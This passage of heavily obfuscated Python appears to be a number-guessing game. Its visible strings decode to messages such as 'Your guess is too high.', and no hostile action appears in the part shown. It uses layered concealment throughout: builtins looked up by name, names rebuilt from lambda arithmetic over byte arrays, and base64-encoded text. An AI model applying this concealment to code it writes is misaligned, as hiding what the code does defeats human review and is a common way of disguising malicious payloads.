6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'WW91ciBndWVzcyBpcyB0b28gaGlnaC4=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))) + if __5595505105__ == __3620605820__: + break +if __5595505105__ == __3620605820__: + __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'cHJpbnQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'R29vZCBqb2IsIHswfSEgWW91IGd1ZXNzZWQgbXkgbnVtYmVyIGluIHsxfSBndWVzc2VzIQ==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 